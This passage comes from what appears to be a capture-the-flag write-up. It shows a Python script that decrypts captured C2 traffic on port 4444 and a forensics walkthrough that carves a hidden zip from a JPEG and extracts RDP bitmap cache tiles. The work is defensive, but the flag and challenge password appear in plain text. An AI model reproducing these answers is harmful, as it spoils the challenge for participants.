shared_hex = "9f4c8b2e6a7f1d3b9ab2c4d5e6f70812a1b2c3d4e5f60718293a4b5c6d7e8f90"
secret = bytes.fromhex(shared_hex)
aes_key = secret[:16]
hmac_key = secret[16:]

def decrypt_message(b64msg):
    blob = base64.b64decode(b64msg)
    iv = blob[:16]
    ct = blob[16:-32]
    tag = blob[-32:]

    calc = hmac.new(hmac_key, iv + ct, hashlib.sha256).digest()
    if calc != tag:
        raise ValueError("HMAC failed")

    aes = AES.new(aes_key, AES.MODE_CBC, iv)
    padded = aes.decrypt(ct)
    padlen = padded[-1]
    return padded[:-padlen].decode("utf-8", errors="ignore")

with open("extracted_b64.txt") as f:
    for line in f:
        line = line.strip()
        if not line:
            continue
        try:
            print("Decrypted:", decrypt_message(line))
        except Exception as e:
            print("Failed:", e)

so next is step to capture what are they sending to each other, by filtering port 4444 in wireshark and follow the tcp stream. their communication in encrypted form can be seen below

the whole thing can be decrypted however the flag is in the last message.

> python .\solve.py
Decrypted: CBD{bz_c2_with_encrypted_traffic_d34da5}

Hidden Sight

Description

Blue Team caught two suspicious files. Help blue team to find out what's actually in that file. The team said that the file related with cache

Password: fd9fbac804de39ba121c41173923a86f1702f1c290294f3abc2d2544bc9d93ef

Author: Rin4th

Solution

given a hidden.zip, first thing to do is to unzip it

$ 7z x hidden.zip 

7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
 64-bit locale=en_US.UTF-8 Threads:128 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 2898690 bytes (2831 KiB)

Extracting archive: hidden.zip
--
Path = hidden.zip
Type = zip
Physical Size = 2898690

    
Enter password (will not be echoed):
Everything is Ok

Files: 2
Size:       2937154
Compressed: 2898690

$ ls
bcache24.bmc  btr.jpg  hidden.zip

$ file *
bcache24.bmc: empty
btr.jpg:      JPEG image data, baseline, precision 8, 640x333, components 3
hidden.zip:   Zip archive data, at least v1.0 to extract, compression method=AES Encrypted

two files were given, but one them are empty. then binwalk is ran against btr.jpg and a zip file was found inside of it.

$ binwalk btr.jpg 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
77878         0x13036         Zip archive data, at least v2.0 to extract, compressed size: 2859116, uncompressed size: 26030812, name: Cache0000.bin
2937132       0x2CD12C        End of Zip archive, footer length: 22

however, seems like binwalk was unable extract the zip. so i used dd to do the job instead. and after extracting it, a file named Cache0000.bin was extracted.

$ dd if=btr.jpg of=embedded.zip bs=1 skip=77878 status=none

$ 7z x embedded.zip 

7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
 64-bit locale=en_US.UTF-8 Threads:128 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 2859276 bytes (2793 KiB)

Extracting archive: embedded.zip
--
Path = embedded.zip
Type = zip
Physical Size = 2859276

Everything is Ok    

Size:       26030812
Compressed: 2859276

$ ls
bcache24.bmc  btr.jpg  _btr.jpg.extracted  Cache0000.bin  embedded.zip  hidden.zip

$ xxd -g 1 -l 128 Cache0000.bin
00000000: 52 44 50 38 62 6d 70 00 06 00 00 00 f6 17 b0 bf  RDP8bmp.........
00000010: 6e 5f ce a9 40 00 40 00 00 00 00 ff 00 00 00 ff  n_..@.@.........
00000020: 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff  ................
00000030: 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff  ................
00000040: 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff  ................
00000050: 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff  ................
00000060: 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff  ................
00000070: 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff  ................

the bytes suggests its a RDP Bitmap Cache file. the quickest way to pull the pictures out is with BMC-Tools

$ git clone https://github.com/ANSSI-FR/bmc-tools
Cloning into 'bmc-tools'...
remote: Enumerating objects: 112, done.
remote: Counting objects: 100% (41/41), done.
remote: Compressing objects: 100% (15/15), done.
remote: Total 112 (delta 28), reused 29 (delta 26), pack-reused 71 (from 1)
Receiving objects: 100% (112/112), 42.71 KiB | 1.15 MiB/s, done.
Resolving deltas: 100% (52/52), done.

$ cd bmc-tools

$ mkdir -p ../cache0000_out

$ python3 bmc-tools.py -s ../Cache0000.bin -d ../cache0000_out -b
[+++] Processing a single file: '../Cache0000.bin'.
[+++] Processing a file: '../Cache0000.bin'.
[===] 1596 tiles successfully extracted in the end.
[===] Successfully exported 1596 files.
[===] Successfully exported collage file.

$ cd cache0000_out/

$ ls
Cache0000.bin_0000.bmp  Cache0000.bin_0267.bmp  Cache0000.bin_0534.bmp  Cache0000.bin_0801.bmp  Cache0000.bin_1068.bmp  Cache0000.bin_1335.bmp
Cache0000.bin_0001.bmp  Cache0000.bin_0268.bmp  Cache0000.bin_0535.bmp  Cache0000.bin_0802.bmp  Cache0000.bin_1069.bmp  Cache0000.bin_1336.bmp
[...SNIP...]

then to combine all of the bmp I ran

montage *.bmp -geometry +1+1 -tile 100x montage_all.jpg

opening the image, we can see the flag printed all over the place

Last updated